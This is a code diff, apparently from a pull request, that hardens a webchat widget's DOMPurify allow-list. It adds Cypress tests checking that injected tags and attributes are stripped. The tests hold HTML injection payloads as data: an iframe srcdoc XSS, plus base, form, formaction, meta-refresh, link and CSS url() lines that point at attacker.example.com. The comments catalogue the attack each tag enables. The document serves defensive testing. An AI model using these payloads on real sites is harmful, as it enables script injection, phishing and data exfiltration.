Skip to content
127 changes: 127 additions & 0 deletions cypress/e2e/sanitize.cy.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,127 @@
// eslint-disable-next-line @typescript-eslint/triple-slash-reference
/// <reference path="../support/index.d.ts" />

// WCH-SI10-001: verifies dangerous tags and attributes removed from the DOMPurify
// allow-list no longer survive sanitization. disableHtmlInput:false so HTML reaches
// sanitizeHTML rather than being pre-stripped by stripHtmlToInertText.

describe("sanitize — DOMPurify allow-list hardening (WCH-SI10-001)", () => {
const init = () =>
cy
.visitWebchat()
.initMockWebchat({
settings: {
widgetSettings: {
disableHtmlInput: false,
},
},
})
.openWebchat()
.startConversation();

const typeAndSend = (value: string) => {
cy.get(".webchat-input-message-label")
.contains("label", "Type something here…")
.invoke("attr", "for")
.then(inputId => {
cy.get(`#${inputId}`).type(value, { parseSpecialCharSequences: false });
});
cy.get('[aria-label="Send message"]').click();
};

// --- removed tags ---

it("strips <iframe> (was in allow-list — enables srcdoc XSS)", () => {
init();
typeAndSend('<iframe srcdoc="<script>alert(1)</script>">content</iframe>');
cy.get("[data-cognigy-webchat-root]").find("iframe").should("not.exist");
});

it("strips <base> (was in allow-list — rewrites all relative URLs on host page)", () => {
init();
typeAndSend('<base href="https://attacker.example.com">');
cy.get("[data-cognigy-webchat-root]").find("base").should("not.exist");
});

it("strips <form> (was in allow-list — posts user data to attacker URL)", () => {
init();
typeAndSend('<form action="https://attacker.example.com"><input name="q"></form>');
// Scope to chat history — the webchat input itself contains a <form> element
cy.get(".webchat-chat-history").find("form").should("not.exist");
});

it("strips <object> (was in allow-list — loads arbitrary external content)", () => {
init();
typeAndSend('<object data="https://attacker.example.com/payload.swf"></object>');
cy.get("[data-cognigy-webchat-root]").find("object").should("not.exist");
});

it("strips <embed> (was in allow-list — loads arbitrary external content)", () => {
init();
typeAndSend('<embed src="https://attacker.example.com/payload.swf">');
cy.get("[data-cognigy-webchat-root]").find("embed").should("not.exist");
});

it("strips <style> (was in allow-list — CSS injection and attribute exfiltration)", () => {
init();
typeAndSend("<style>body{background:url(https://attacker.example.com)}</style>");
cy.get("[data-cognigy-webchat-root]").find("style").should("not.exist");
});

it("strips <meta> (was in allow-list — HTTP redirect and CSP bypass)", () => {
init();
typeAndSend('<meta http-equiv="refresh" content="0;url=https://attacker.example.com">');
cy.get("[data-cognigy-webchat-root]").find("meta").should("not.exist");
});

it("strips <link> (was in allow-list — loads external stylesheets)", () => {
init();
typeAndSend('<link rel="stylesheet" href="https://attacker.example.com/evil.css">');
cy.get("[data-cognigy-webchat-root]").find("link").should("not.exist");
});

// --- removed attributes ---

it("strips formaction attribute (enables phishing without <form action>)", () => {
init();
typeAndSend('<button formaction="https://attacker.example.com">Click</button>');
cy.get("[data-cognigy-webchat-root]").find("[formaction]").should("not.exist");
});

it("strips srcdoc attribute (inline HTML document in iframe — XSS vector)", () => {
init();
typeAndSend('<iframe srcdoc="<script>alert(1)</script>">fallback</iframe>');
cy.get("[data-cognigy-webchat-root]").find("[srcdoc]").should("not.exist");
});

it("strips style attribute (inline CSS injection and UI redressing)", () => {
init();
typeAndSend('<span style="background:url(https://attacker.example.com)">text</span>');
// Match the injected value specifically — the webchat itself uses inline styles via Emotion
cy.get("[data-cognigy-webchat-root]")
.find('[style*="attacker.example.com"]')
.should("not.exist");
});

// --- regression guards ---

it("preserves plain text content after sanitization", () => {
init();
typeAndSend("hello world");
cy.get(".webchat-chat-history").contains("hello world");
});

it("preserves href on anchor tags", () => {
init();
typeAndSend('<a href="https://cognigy.com">Cognigy</a>');
cy.get(".webchat-chat-history").contains("Cognigy");
});

describe("Accessibility (WCAG 2.2 AA)", () => {
it("chat surface has no a11y violations after sanitized input is sent", () => {
init();
typeAndSend('<iframe src="https://evil.example.com">content</iframe>normal');
cy.checkA11yCompliance("[data-cognigy-webchat-root]");
});
});
});
44 changes: 23 additions & 21 deletions src/webchat/helper/sanitize.ts
Original file line number Diff line number Diff line change
@@ -1,24 +1,37 @@
import DOMPurify, { Config } from "dompurify";
import { storeRef } from "../store/store";

// Tags removed from the previous allow-list to align with DOMPurify's secure defaults
// (WCH-SI10-001). Each tag enables a distinct attack vector:
// applet — Java applet execution
// base — rewrites all relative URLs on the host page
// body / html / head — structural document elements; no legitimate use in sanitised fragments
// embed — loads arbitrary external content / plugins
// form — posts user data to attacker-controlled URLs
// frame / frameset / noframes — clickjacking and legacy frame injection
// iframe — inline HTML documents; srcdoc = direct XSS vector
// link — loads external stylesheets
// meta — HTTP redirects and CSP bypass via http-equiv
// object — loads Flash, PDFs, and arbitrary external content
// style — CSS injection and attribute-value exfiltration
// These tags are blocked by default when no custom tag list is configured.
// Tenants can supply a replacement list via widgetSettings.customAllowedHtmlTags,
// but dangerous tags are always stripped from that list before it is applied (PR #309).
export const allowedHtmlTags = [
"a",
"abbr",
"acronym",
"address",
"applet",
"area",
"article",
"aside",
"audio",
"b",
"base",
"basefont",
"bdi",
"bdo",
"big",
"blockquote",
"body",
"br",
"button",
"canvas",
Expand All @@ -40,43 +53,32 @@ export const allowedHtmlTags = [
"dl",
"dt",
"em",
"embed",
"fieldset",
"figcaption",
"figure",
"font",
"footer",
"form",
"frame",
"frameset",
"h1",
"h2",
"h3",
"h4",
"h5",
"h6",
"head",
"header",
"hr",
"html",
"i",
"iframe",
"img",
"input",
"ins",
"kbd",
"label",
"legend",
"li",
"link",
"main",
"map",
"mark",
"meta",
"meter",
"nav",
"noframes",
"object",
"ol",
"optgroup",
"option",
Expand All @@ -99,7 +101,6 @@ export const allowedHtmlTags = [
"span",
"strike",
"strong",
"style",
"sub",
"summary",
"sup",
Expand All @@ -124,11 +125,17 @@ export const allowedHtmlTags = [
"wbr",
];

// Attributes that are always blocked regardless of caller configuration (WCH-SI10-001).
// Removed from the previous allow-list:
// action / formaction — form submission to attacker-controlled URLs
// sandbox — giving content control over its own sandbox policy
// srcdoc — inline HTML document in an iframe (direct XSS vector)
// style — inline CSS injection and attribute-value exfiltration
// target — controls navigation target (_blank without rel is risky)
export const allowedHtmlAttributes = [
"accept",
"accept-charset",
"accesskey",
"action",
"align",
"alt",
"autocomplete",
Expand Down Expand Up @@ -160,7 +167,6 @@ export const allowedHtmlAttributes = [
"enctype",
"for",
"form",
"formaction",
"headers",
"height",
"hidden",
Expand Down Expand Up @@ -197,7 +203,6 @@ export const allowedHtmlAttributes = [
"reversed",
"rows",
"rowspan",
"sandbox",
"scope",
"selected",
"shape",
Expand All @@ -206,14 +211,11 @@ export const allowedHtmlAttributes = [
"span",
"spellcheck",
"src",
"srcdoc",
"srclang",
"srcset",
"start",
"step",
"style",
"tabindex",
"target",
"title",
"translate",
"type",
Expand Down
Loading